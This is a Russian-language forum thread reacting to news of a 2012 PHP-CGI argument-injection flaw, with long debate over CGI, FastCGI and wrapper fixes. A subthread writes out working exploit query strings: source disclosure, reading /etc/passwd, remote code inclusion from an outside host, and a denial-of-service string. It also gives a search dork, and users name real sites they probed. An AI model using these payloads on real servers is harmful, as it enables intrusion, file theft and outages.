URL: https://www.opennet.ru/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID3
Нить номер: 84407
[ Назад ]

Исходное сообщение
"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"

Отправлено opennews , 03-Май-12 22:37 
Компьютерная группа реагирования на чрезвычайные ситуации (CERT)  опубликовала (http://www.kb.cert.org/vuls/id/520827) уведомление об утечке информации о критической уязвимости в PHP, которая позволяет запустить произвольный код на сервере или просмотреть исходный код любого PHP-скрипта, выполняемого в CGI-режиме. Cкрипты, выполняемые с использованием mod_php и FastCGI, не подвержены проблеме.


Опасность уязвимости усугубляет тот факт, что несмотря на то, что разработчики PHP были уведомлены о проблеме ещё 17 января, а 23 февраля был отправлен дополнительный запрос от имени CERT, уязвимость остаётся неисправленной. Проблема вызвана ошибкой, допущенной в 2004 году. Интересно также то, что утечка информации возникла (http://www.reddit.com/r/PHP/comments/t3pr8/how_serious_is_this/) из-за оплошности разработчиков PHP, поместивших (http://ompldr.org/vZGxxaQ) информацию о проблеме в публичный трекер ошибок, до момента выхода исправления с устранением уязвимости.


Эксплуатация проблемы тривиальна (http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/) - достаточно передать опцию командной строки, поддерживаемую интерпретатором, в качестве аргумента при выполнении запроса. Например, для показа исходного кода текущего скрипта достаточно указать "http://localhost/index.php?-s". Также можно поступить и с другими опциями и проявив немного эрудиции организовать выполнение кода на сервере. Всем пользователям PHP, использующим скрипты в режиме CGI, следует незамедлительно установить патч (https://bugs.php.net/patch-add.php?bug_id=61910).

URL: http://www.kb.cert.org/vuls/id/520827
Новость: http://www.opennet.ru/opennews/art.shtml?num=33765


Содержание

Сообщения в этом обсуждении
"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 03-Май-12 22:37 
PHP???
Nobody cares

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено lf , 04-Май-12 11:33 
кто-то юзает php в cgi режиме??????????????????

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 05-Май-12 16:24 
Некрофилы и извращенцы. Ну наконец то им прилетят серебряные пули :)

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Georges , 08-Май-12 10:36 
Некоторые хостеры, которые орут что у них есть PHP 5.2 5.3 и 5.4

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 03-Май-12 22:42 
PHP: a fractal of bad design.

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 03-Май-12 22:45 
> выполняемого в CGI-режиме.

Так и надо всяким некроманам-извращенцам ;]


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 03-Май-12 22:53 
Хм. А я думал, что это штатная фича.
Теперь понятно, почему в документации ее хрен найдешь.

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Xasd , 04-Май-12 00:15 
тож думал что это фишка...:)

...както странно слышать это среди багов... xD .. хотя уже и не странно xD .. видимо чтобы эта фигня проявила себя -- php-cgi нужно вызывать напрямую из Apache а не через shell wrapper


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 03-Май-12 23:35 
Ожидаемо.

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено codejumper , 03-Май-12 23:47 
жуть
какое счастье, что у меня fcgi

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено jedie , 03-Май-12 23:55 
У кого то еще CGI?

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 04-Май-12 00:08 
На самом деле судя по всему и PHP-скрипты под FastCGI тоже уязвимы, только эксплуатировать можно если попасть в первый запрос при запуске нового FastCGI-процесса. Но здесь всё очень сильно зависит от конфигурации и способа запуска PHP под FastCGI.

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 04-Май-12 00:13 
> На самом деле судя по всему и PHP-скрипты под FastCGI тоже уязвимы,
> только эксплуатировать можно если попасть в первый запрос при запуске нового
> FastCGI-процесса. Но здесь всё очень сильно зависит от конфигурации и способа
> запуска PHP под FastCGI.

Например, в дефолтовом примере к spawn-fcgi вызывается php5-cgi и теоретически должно сработать.


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 04-Май-12 02:04 
> Например, в дефолтовом примере к spawn-fcgi вызывается php5-cgi и теоретически должно сработать.

А что, пыху там через командлайн параметры запроса передаются? В cgi оно вот так вот, ибо дебильный древний и тормозной протокол с форком обработчика на каждый реквест и передачей ему параметров через командлайн + редиректом вывода. Что делает этот идиотизм крайне паршивым с точки зрения нагрузки и безопасности: кто угодно может вам провоцировать довольно тяжелый форк процесса оптом извне, что уже хорошая заявка на победу.

А у фаста ж постоянно висяшие процессы + свой протокол для передачи параметров. Не догоняю как сие должно в нем срабатывать?


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 04-Май-12 09:16 
Почитайте на досуге как работает CGI, командная строка там вообще не причём. FastCGI отличается от CGI только дополнительным циклом обработки запросов, чтобы каждый раз заново процесс не запускать, в остальном всё идентично.

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено samm , 04-Май-12 11:14 
Вы не правы. Почитайте сами спецификации на CGI и FCGI, это разные протоколы.

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 04-Май-12 12:14 
И и там и там запускаемое приложение, в нашем случае интерпретатор php со скриптом, получает аргументы через стандартный ввод и переменные окружения. В логике работы разница только в цикле. То что отличаются методы доставки запроса (стандартный ввод/вывод vs UNIX или TCP сокет) большой роли в рассматриваемой ситуации не играет, на уровне приложения вся обработка параметров запроса идентична.

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 05-Май-12 16:51 
> рассматриваемой ситуации не играет, на уровне приложения вся обработка параметров запроса
> идентична.

Прикольно гнать пургу с умным видом? А если ман все-таки почитать, там таки написано что это совершенно разные протоколы.

В частности, для особо упорных дятлов я замечу что fastcgi-сервер взлетает без каких либо сакральных знаний о запросах и лишь вывешивает сокет - для взаимодействия по собственному протоколу с фронтэндом. И все. А все запросы рюхаются через тот протокол и сокет уже. Ну то-есть обычный такой постоянно живущий бэкэнд не перезапускаемый на каждый запрос. По поводу чего он и fast, собственно.

Да, для кулхаксоров собравшихся это ломать - http://www.fastcgi.com/devkit/doc/fcgi-spec.html

Таки объясните мне как выглядит хак, при том что бэкэнд фаста запускается и ждет коннекций от фронтэнда? Спиди-гонщики :)


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 05-Май-12 23:23 
> Прикольно гнать пургу с умным видом? А если ман все-таки почитать, там таки написано что это совершенно разные протоколы.

При чем здесь протокол доставки, когда речь про обработку запроса на стороне приложения  ? HTTP и HTTPS тоже разные протоколы.

> А все запросы рюхаются через тот протокол и сокет уже.

Для приложения обработка таких запросов абсолютно идентична, что при CGI, что при FastCGI. Не важно что под капотом, для приложения обработка будет одинакова, весь перевод приложения от CGI к FastCGI сводится к добавлению цикла и подключению FCGI-библиотеки.


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 05-Май-12 16:26 
> Почитайте на досуге как работает CGI, командная строка там вообще не причём.
> FastCGI отличается от CGI только дополнительным циклом обработки запросов,

Вообще-то я читал спеки на оба и fast как-то совсем-совсем другой протокол.

> чтобы каждый раз заново процесс не запускать, в остальном всё идентично.

... кроме того что нет собственно запуска и передачи параметров, все делается через свой протокол обмена. Ну а раз нет запуска - то как вы, черт возьми, проэксплуатируете запуск?! :)


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 05-Май-12 23:45 
Это я ступил, думал что ошибка в PHP сводится к тому, что он параметры в STDIN парсит как параметры командной строки. Оказалось, действительно, СGI когда в запросе нет "=" передаёт параметры через командную строку:


4.4.  The Script Command Line

   Some systems support a method for supplying an array of strings to
   the CGI script.  This is only used in the case of an 'indexed' HTTP
   query, which is identified by a 'GET' or 'HEAD' request with a URI
   query string that does not contain any unencoded "=" characters.  For
   such a request, the server SHOULD treat the query-string as a
   search-string and parse it into words, using the rules

      search-string = search-word *( "+" search-word )
      search-word   = 1*schar
      schar         = unreserved | escaped | xreserved
      xreserved     = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "," |
                      "$"

   After parsing, each search-word is URL-decoded, optionally encoded in
   a system-defined manner and then added to the command line argument
   list.

   If the server cannot create any part of the argument list, then the
   server MUST NOT generate any command line information.  For example,
   the number of arguments may be greater than operating system or
   server limits, or one of the words may not be representable as an
   argument.

   The script SHOULD check to see if the QUERY_STRING value contains an
   unencoded "=" character, and SHOULD NOT use the command line
   arguments if it does.


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 04-Май-12 11:41 
> протокол с форком обработчика на каждый реквест и передачей ему параметров через командлайн

Не командлайн, а STDIN.


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено terr0rist , 04-Май-12 23:04 
> дебильный древний и тормозной протокол

да для вас наверно всё старое - дебильное и тормозное. А для кого-то это этап в развитии.
Тем более CGI позволяет делать кое-что, чего другие не могут в принципе. Дебилизм - это применять ко всем мерку "если это велосипед, то он по умолчанию хуже моего лексуса". Даже если велик и "тормознее".
(Не говоря уже о том, что на современных серваках с современными скриптами все эти форки и передача аргументов занимают 0.0001% процессорного времени)


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 05-Май-12 16:29 
>> дебильный древний и тормозной протокол
> да для вас наверно всё старое - дебильное и тормозное.

Все познается в сравнении. Но некоторые дизайны просто галимы на уровне идеи. Столь же безблагодатная идея как форки процессов в апаче.

> Тем более CGI позволяет делать кое-что, чего другие не могут в принципе.

Например? Очень интересно :)

> все эти форки и передача аргументов занимают 0.0001% процессорного времени)

Ага. Пока не придет Вася Пупкин и не пустит туда ab2 какой-нибудь. Порсле чего Васин нетбук на раз укладывает многопроцессорный ксеон. Потому что ему только конекцию сделать, а серваку - отдуваться по полной: форкануть процесс, обработать запрос, ... :)


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено angra , 06-Май-12 10:04 
>> Тем более CGI позволяет делать кое-что, чего другие не могут в принципе.
> Например? Очень интересно :)

Ну не то чтобы принципиально невозможно, но некоторые вещи действительно удобней через cgi, чем через fcgi. Например когда cgi скриптов(или вообще бинарников) много, но каждый из них запускается редко, а значит держать его в памяти в виде постоянного fcgi процесса особого смысла не имеет. Особенно хорошо, когда все эти скрипты недоступны без http авторизации.

>> все эти форки и передача аргументов занимают 0.0001% процессорного времени)
>Ага. Пока не придет Вася Пупкин и не пустит туда ab2 какой-нибудь. Порсле чего Васин нетбук на раз укладывает многопроцессорный ксеон. Потому что ему только конекцию сделать, а серваку - отдуваться по полной: форкануть процесс, обработать запрос, ... :)

Если сравнить это с оверхедом https, то не так уж много получится. Может и от https отказаться? Ну и неплохо было бы понимать, что с точки зрения конечного пользователя абсолютно фиолетово почему не открывается страничка - из-за перегрузки сервера запусками интерпретаторов(а ведь cgi может быть и шустрым бинарником) или из-за превышения лимитов на соединения и/или количество fcgi процессов.


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено arisu , 06-Май-12 15:47 
> Может и от https отказаться?

очень разумная идея.


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 10-Май-12 08:35 
>>> Тем более CGI позволяет делать кое-что, чего другие не могут в принципе.
>> Например? Очень интересно :)
> Ну не то чтобы принципиально невозможно, но некоторые вещи действительно удобней через
> cgi, чем через fcgi. Например когда cgi скриптов(или вообще бинарников) много,
> но каждый из них запускается редко, а значит держать его в
> памяти в виде постоянного fcgi процесса особого смысла не имеет. Особенно
> хорошо, когда все эти скрипты недоступны без http авторизации.

тут особой проблемы нет, можно поставить минимальное кол-во fcgi-процессов в 0 и таймаут жизни fcgi-процесса, скажем в 5-ть минут. если за пять минут обращений не было, то процесс умрет освободив память. минус только один: настройки fcgi сложнее, чем cgi, писать ручками много больше.


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено FSA , 04-Май-12 11:19 
hc.ru - хостинг-центр РБК

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено XoRe , 04-Май-12 00:17 
Очень многие российские хостинги (включая самые крупные) запускают php именно в режиме cgi.
Патч применят не все и не сразу.
Имхо, это кандидат на звание самой эпичной уязвимости php за всю историю интерпретатора.

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 04-Май-12 01:19 
> Очень многие российские хостинги (включая самые крупные) запускают php именно в режиме cgi.
> Патч применят не все и не сразу.

Если именно CGI и даже не фаст - так и надо этим дебилам. Естественный отбор. Чем раньше даунов вынесет с рынка - тем лучше.


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 04-Май-12 09:20 
Для PHP нет другого пути разделения привилегий, если использовать mod_php, то все скрипты будут работать под одним пользователем. Хаки вида openbasedir мало помогают, регулярно всплывают новые методы их обхода. FastCGI в условиях shared хостинга неприменим из-за больших накладных расходов (для каждого пользователя с активным сайтом в памяти нужно держать как минимум один процесс).

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено FSA , 04-Май-12 11:35 
У Valuehost с этим проблем нет. Когда-то давно на форуме webhostingtalk.ru видел обсуждение по поводу реализации работы от разных пользователей. Там принимал участие один из самых активных администраторов в то время Valuehost. Он описал принцип работы хостинга, хотя реальных примеров не приводил. В принципе у меня получилось на локальной машине, но не работали некоторые вещи (например, загрузка файлов на сервер). И не работали они и там скорее всего до патчей. Вот только содержимое патчей так и не появилось на форуме. Было только известно, что патчи не затрагивают операционную систему (у них FreeBSD).

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено FSA , 04-Май-12 11:38 
Ох! Проситите! Столько запятых пропустил в тексте :(

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 04-Май-12 11:45 
Ой,  только Valuehost не вспоминайте, там был грязный хак с постоянной работой всех дочерних процессов apache под root-ом и сменой пользователя при обработке каждого запроса. Такой метод не намного лучше cgi, только вместо запуска внешнего процесса форкается дочерняя копия httpd.

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Andrew Kolchoogin , 04-Май-12 15:03 
php-fpm поможет отцу русской демократии. Объявите столько пулов, сколько у вас пользователей, и запускайте каждый пул от своего аккаунта.

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 05-Май-12 03:11 
>FastCGI в условиях shared хостинга
> неприменим из-за больших накладных расходов (для каждого пользователя с активным сайтом
> в памяти нужно держать как минимум один процесс).

Расходы есть по памяти (среднее кол-во памяти на php-cgi-процесс: 15М, при 1000 пользователях, DefaultMinClassProcessCount 0 (mod_fcgid) и DefaultMaxClassProcessCount 10, среднее кол-во одновременно запущенных php-cgi - не превышает 700, т.е. ~10ГБ оперативки, сейчас в таком режиме у меня работает 14 серверов, при этом глобально подключено совсем не много модулей, каждый юзер сам включает то, что ему нужно в своем собственном php.ini, такая занимательная статистика), но есть и сокращение расходов по ЦПУ.


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено erera22 , 05-Май-12 15:21 
mod_ruid же

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено terr0rist , 04-Май-12 23:15 
>> Очень многие российские хостинги (включая самые крупные) запускают php именно в режиме cgi.

и правильно делают, кстати :) точно так же запускают и перл и питон и sh и всё остальное, если оно есть.

> Если именно CGI и даже не фаст - так и надо этим
> дебилам. Естественный отбор. Чем раньше даунов вынесет с рынка - тем
> лучше.

Да что вы пристали к CGI? Вам не нравится "форк процесса и передача параметров через STDIN"? Вы тесты проводили, как это работает? Проводили ли вы эти тесты на чём-то более современном, чем пентиум-166ММХ с 16 МБ RAM? И на чём-то типа жумлы или друпала, которые жрут сами столько ЦПУ, что ваши 0.1мс на форк не повлияют на нагрузку никак? И не забывайте ещё, что только в CGI можно запустить пых с апачем в мультитреде, а иначе (когда пых - модуль апача) будет точно такой же форк процессов, только не одного пыха, а всего апача со всеми модулями (обычно раз в 50-100 запросов). Плюс утечки памяти. Так лучше?

А если это убожество РНР имеет такие баги, то причём здесь CGI? Если жирный уродливый тролль не умеет ездить на велике, это не проблема велика.
Очень надеюсь, что процесс умирания РНР (в текущем виде) после этого бага ускорится. Хотя не в текущем виде это уже будет не РНР. Да и зачем?..


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 07-Май-12 18:13 
> Очень надеюсь, что процесс умирания РНР (в текущем виде) после этого бага ускорится.

Не ускориться, потому что всегда будет дофига тех, кто не осилил нормальные языки и платформы. И всегда будет куча заказчиков-жлобов, которые будут нанимать ниосиляторов за копейки, чтобы, как они думают, увеличить свою прибыль.


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено jedie , 04-Май-12 01:33 
Можно проблему эту решить через mod rewrite ну или другие rewriteры.

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено arisu , 05-Май-12 00:36 
или при помощи полного удаления php, это всяко надёжней.

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 05-Май-12 16:37 
> или при помощи полного удаления php, это всяко надёжней.

Если пойти чуть дальше, можно не подключать сеть. Тогда хакеру придется притащиться к серверу лично, что существенно усложняет взлом. Алсо, можно установить пустой корпус от сервера. Тогда хакер вообще обломается. Вот прищел ты хакать сервер, а там мамки нет! Абыдна, да? :)


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено arisu , 05-Май-12 21:14 
качество кода php достаточно общеизвестно. использовать ЭТО можно или от нечего делать, когда на результат плевать, или за очень большие деньги (если заказчик не знает адреса, а то может и наведаться потом), или от очень большой глупости.

p.s. не «кода на php», а «кода самого php», буде кто не понял.


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено solardiz , 04-Май-12 12:30 
Это было бы так, но уязвимости подвержены далеко не все хостинги с PHP как CGI (может быть, подвержено меньшинство из них). Например, применяется вариант с патчем в suEXEC, где интерпретатору PHP через командную строку передается только имя скрипта (до этого проверенное stat()'ом и не только). Shell-wrapper при этом не нужен (и не используется).

char *new_argv[] = { php_bin_path, cmd, NULL };
execv(php_bin_path, new_argv);

Вариант с shell-wrapper'ом же всегда следовало считать очень опасным. (Я был удивлен, когда увидел его, кажется, на DreamHost wiki пару лет назад. Это скорее исключение, чем правило.) Он был почти аналогичен размещению самого интерпретатора PHP в cgi-bin, т.е. вся безопасность сводилась к hardening'у PHP на тему такого misuse'а. Это, конечно, не снимает ответственности с разработчиков PHP, которые этот hardening убрали по забывчивости, при этом не поправив информацию на http://www.php.net/manual/en/security.cgi-bin.attacks.php - но полагаться на это было наивно с самого начала (т.е. с 1990-х, когда тема интерпретаторов в cgi-bin была поднята исходно). Также, они зря не называли эти вещи своими именами - hardening и misuse - пытаясь вместо этого документировать будто бы конкретно с PHP, в отличие от других интерпретаторов, так поступать можно.


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 04-Май-12 00:22 
http://allvanyzatok.hu/phpinfo.php, обратите внимание на Server API: CGI. Не удалось получить исходник.
http://360commercialre.com/phpinfo.php, тоже. Вот с версией постарше -http://31minutos.inet.cl/phpinfo.php - тоже

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 04-Май-12 01:40 
во враппере:
exec /usr/bin/php-cgi -- "$@"
или вообще без параметров

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Etch , 04-Май-12 08:40 
Спасибо, работает воркэрраунд:
#!/bin/dash
exec /usr/lib/cgi-bin/php5 -- "$@"

Просто нет смысла держать на ВПС постоянно в памяти mod_php ради одного сайта с посещаемостью 5 чел. в сутки.


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 05-Май-12 17:23 
> Просто нет смысла держать на ВПС постоянно в памяти mod_php ради одного
> сайта с посещаемостью 5 чел. в сутки.

Вы все-равно не сможете безнаказанно занять эту память - под угрозой облома выполнения скрипта. Памяти или хватает суммарно на всех, или нет. Хуже всего когда ее изредка не хватает в сильно некоторых ситуациях, такая грабля может очень сильно съесть мозг.


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Diden05 , 04-Май-12 03:47 
Из скрипта никак не узнаешь как запущен PHP, как FCGI или просто CGI. Поэтому в phpinfo и будет написано cgi.

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Xasd , 04-Май-12 00:38 
кроме ?-s чтонибудь "полезное" получилось выполнить? :)

...ато например ?--run%3Dphpinfo()%3B чтото не получается... гдето ошибся, но не пойму где %) %)


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено LostAlly , 04-Май-12 00:44 
%22%3B может закрываться так должно? А не наоборот?

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Xasd , 04-Май-12 00:53 
> %22%3B может закрываться так должно? А не наоборот?

понял в чём дело... нет такого параметра в php-cgi ... там только:


$ php-cgi --help
Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
       php <file> [args...]
  -a               Run interactively
  -b <address:port>|<port> Bind Path for external FASTCGI Server mode
  -C               Do not chdir to the script's directory
  -c <path>|<file> Look for php.ini file in this directory
  -n               No php.ini file will be used
  -d foo[=bar]     Define INI entry foo with value 'bar'
  -e               Generate extended information for debugger/profiler
  -f <file>        Parse <file>.  Implies `-q'
  -h               This help
  -i               PHP information
  -l               Syntax check only (lint)
  -m               Show compiled in modules
  -q               Quiet-mode.  Suppress HTTP Header output.
  -s               Display colour syntax highlighted source.
  -v               Version number
  -w               Display source with stripped comments and whitespace.
  -z <file>        Load Zend extension <file>.
  -T <count>       Measure execution time of script repeated <count> times.



"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Xasd , 04-Май-12 00:54 
или всётаки я НЕ понял... ведь ?--syntax-highlight тоже работает

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Xasd , 04-Май-12 01:08 
> кроме ?-s чтонибудь "полезное" получилось выполнить? :)

кстате говоря напоминаю, что чтбы передать ДВА параметра, их нужно разделить знаком +

например:
?-d+foo%3Dbar

(здесь ``%3D`` вместо ``=`` , так как ``=`` запрещено к использованию)


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Xasd , 04-Май-12 01:22 
вот успешно получившийся пример:

?-d+memory_limit%3D20M

этот параметр уменьшает лимит выделенной памяти ДО 20M (если уменьшить или увеличть этот параметр то мы можем увидить или не увидить страничку)

больше покатчо ничо не вышло.... :-( :-( :-(

а интересено былобы чтобы например както моглобы сработать:
   auto_prepend_file
        с параметром
   http://ompldr.org/vZG0yNQ


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 04-Май-12 01:55 
дык, allow_url_include и в добрый путь

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Xasd , 04-Май-12 02:13 
> дык, allow_url_include и в добрый путь

почемуто не выходет даже с ней... :-( :-( :-(

..единственное что удачно вышло с auto_prepend_file -- это прочитать список пользователей (/etc/passwd)

вот так

?-d+default_mimetype%3Dtext/plain+-d+auto_prepend_file%3D/etc/passwd


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Xasd , 04-Май-12 02:17 
а может быть можно както создать типа ERROR LOG какойнить?? и внутри этого файла, созать нужную последовательность <?php ... ?> , а затем её локально подключить через auto_prepend_file ???

что думаете, товарищи?


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Xasd , 04-Май-12 02:54 
покачто не вижу пути подставить внутрь "error.log.php" хоть какуюто "полезную" инфинормарцию

...ну тоесть создать то error.log.php можно.. и запустить его можно (preload) .. и даже можно специально сделать ошибку, которая пападёт внутрь этого error.log.php ..(например запросим несуществующий файл часть имени которого содержит символы <%3Fphp phpinfo()%3B %3F>  :))

...но при вписывании "полезной" последовательности через URL-строку:
    <%3Fphp phpinfo()%3B %3F>
        Апач превращает её в последовательность
    \<\?php phpinfo\(\)\; \?\>.php
(тоесть автоматически экранирует)

таким образом в таком экранированном виде она и попадает внутрь error-log... :-(

печалька... а всё было так близко :-( :-(


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено akrylasov , 05-Май-12 00:30 
работает если вместо php:// забить http://

/i.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dhttp://domain.ru/info.txt

в info.txt какой-нить php-код. Например <?php phpinfo(); ?>


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 04-Май-12 10:00 
This setting requires allow_url_fopen to be on.

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Xasd , 04-Май-12 11:28 
а ещё можно предположить, что сервера на которых я экспериментировал -- имеют iptables защищающий исходящие запросы... кто знает... %) %)

...но вот никак не выходит :-(


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено mikevmk , 04-Май-12 00:47 
dork :)
Server API CGI inurl:info.php -"CGI/FastCGI"

и не работает нигде ?-s


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 04-Май-12 01:18 
И, по традиции, пачт уязвимость не устраняет, а немного видоизменяет - параметры передать всеравно можно.

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено PavelR , 04-Май-12 04:53 

DOS-ить можно: ?-T%2010000


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено arisu , 04-Май-12 07:36 
php — глобально и надёжно!

"Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."
Отправлено CSRedRat , 04-Май-12 10:15 
nginx.org ещё раз подтверждает свои плюсы использования php без apache ;)

"Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."
Отправлено AlexAT , 04-Май-12 10:33 
nginx головного мозга? Нефиг некрофилить по CGI.

"Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."
Отправлено Andrey Mitrofanov , 04-Май-12 10:59 
> nginx головного мозга? Нефиг некрофилить по CGI.

Я конечно, не совсем распарсил тонкого сарказму предыдущего оратора, но [предполагаю, он говорит, что] в nginx _нет CGI по жизни -- вообще. Только FastCGI. //Проверил на локалхосте с nginx + spawn-fcgi этот самый ...php?-s -- не действует.


"Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."
Отправлено Sas , 04-Май-12 10:49 
плюс у него есть в том что он все еще не может .htaccess(

"Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."
Отправлено Andrey Mitrofanov , 04-Май-12 11:01 
>он все еще не может .htaccess(

Совувствуем _Вашим мучениям!! //В след.раз голубые ленточки начнём раздавать?


"Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."
Отправлено FSA , 04-Май-12 11:18 
Т.е. из-за такой мелочи вы тянете за собой монстра Apache? Да, понимаю, в nginx это реализуется только в конфигах. Но реализуется же!

"Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."
Отправлено Sas , 04-Май-12 11:30 
вы это скажите программистам битрикса.
или после каждого их костыля мне лезть в конфиг?
обговорил проблему с программерами и решили доставить апача к nginx

"Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."
Отправлено EuPhobos , 04-Май-12 11:53 
Выкиньте битрикс, вместе с программистами ;)
Когда глобальный движок заточен под что-то одно, он перестаёт быть глобальным движком.

Выб.. ещёб.. нашлиб.. программистов которые затачивают только под ms-iis


"Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."
Отправлено Аноним , 05-Май-12 16:42 
> вы это скажите программистам битрикса.

Это поделие обкуренных бабуинов только могила исправит. Почему-то все кто имел с ним дело из цензурных выражений для его описания использовали только междометия.


"Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."
Отправлено ALex_hha , 04-Май-12 11:58 
> Для PHP нет другого пути разделения привилегий, если использовать mod_php, то все скрипты будут работать под одним пользователем.

открой для себя mpm-itk и будет тебе счастье


"Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."
Отправлено Аноним , 04-Май-12 12:46 
OK. А как крутить несколько версий php на одном сервере?

"Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."
Отправлено AlexAT , 04-Май-12 13:01 
> OK. А как крутить несколько версий php на одном сервере?

В принципе ничто не мешает собрать несколько модулей с разными именами модуля, и использовать.


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 04-Май-12 12:44 
Я чего-то не понимаю? Почему нельзя во врапере вместо
#!/bin/sh
/usr/data/wrappers/php/5.3/bin/php-cgi $*

сделать просто

#!/bin/sh
/usr/data/wrappers/php/5.3/bin/php-cgi


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено anonymous , 04-Май-12 14:09 
Тогда путь до скрипта не получит.

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено anonymous , 04-Май-12 14:33 
Хотя, впрочем, должен получить через SCRIPT_FILENAME.

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено anonymous , 04-Май-12 14:14 
Мне другой вопрос гораздо интереснее: разве всё, что после "?" идёт, не должно передоваться в переменной окружения QUERY_STRING? Надо понимать, php-cgi автоматом дописывает QUERY_STRING в конец списка аргументов вызова, поэтому "--" и решает проблему?

